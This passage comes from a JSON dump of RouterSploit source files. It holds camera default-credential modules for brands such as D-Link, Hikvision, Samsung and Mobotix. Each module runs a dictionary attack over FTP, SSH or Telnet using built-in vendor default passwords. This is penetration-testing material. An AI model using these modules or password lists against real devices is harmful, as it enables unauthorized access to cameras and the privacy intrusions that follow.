    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Canon Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/cisco/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Canon Camera Telnet service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/dlink/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"D-Link Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Camera FTP service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"D-Link Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/dlink/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"D-Link Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Camera SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",\n        ),\n        \"devices\": (\n            \"D-Link Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/dlink/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"D-Link Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Camera Telnet service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"D-Link Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/geovision/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/geovision/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"GeoVision Camera Default FTP Creds\",\n        \"description\": \"Module performs dictioanry attack against GeoVision Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"GeoVision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/geovision/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"GeoVision Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against GeoVision Camera SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"GeoVision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n    threads = OptInteger(1, \"Number of threads\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/geovision/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"GeoVision Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against GeoVision Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"GeoVision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/grandstream/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/grandstream/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Grandstream Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Grandstream Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Grandstream Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/grandstream/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Grandstream Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Grandstream Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Grandstream Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/grandstream/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Grandstream Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Grandstream Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Grandstream Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/hikvision/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/hikvision/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Hikvision Camera FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Hikvision Camera FTP service. \"\n                       \"If valid credentials are found, they displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Hikvision Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/hikvision/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Hikvision Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Hikvision Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Hikvision Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port(file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/hikvision/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Hikvision Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Hikvision Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Hikvision Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/honeywell/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/honeywell/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Honeywell Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Honeywell Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Honeywell Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/honeywell/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Honeywell Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Honeywell Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Honeywell Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/honeywell/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Honeywell Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Honeywell Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Honeywell Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/iqinvision/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/iqinvision/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"IQInvision Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against IQInvision Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IQInvision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:system\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/iqinvision/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"IQInvision Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against IQInvision Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IQInvision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:system\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/iqinvision/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"IQInvision Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictioanry attack against IQInvision Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IQInvision Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:system\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/jvc/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/jvc/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"JVC Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against JVC Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"JVC Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:jvc\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/jvc/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"JVC Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against JVC Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"JVC Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:jvc\", \"User:pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/jvc/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"JVC Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against JVC Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"JVC Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:jvc\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/mobotix/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/mobotix/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Mobotix Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Mobotix Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mobotix Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:meinsm\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/mobotix/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Mobotix Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Mobotix Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mobotix Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:meinsm\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/mobotix/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Mobitix Camer Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Mobitix Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed tot he user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mobotix Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:meinsm\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/samsung/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/samsung/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Samsung Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Samsung Camer FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Samsung Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1111111,admin:4321,root:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/samsung/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Samsung Camera Default SSH Creds\",\n        \"description\": \"Module perfroms dictionary attack against Samsung Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Samsung Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1111111,admin:4321,root:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/samsung/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Samsung Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Samsung Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Samsung Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1111111,admin:4321,root:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/sentry360/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/sentry360/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Sentry360 Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Sentry360 Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Sentry360 Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/sentry360/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Sentry360 Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Sentry360 Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit\n        ),\n        \"devices\": (\n            \"Sentry360 Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/sentry360/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Sentry360 Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Sentry360 Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Sentry360 Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentils (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/siemens/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/siemens/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Siemens Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Siemens Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Siemens Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/siemens/ssh_default_creds.py",
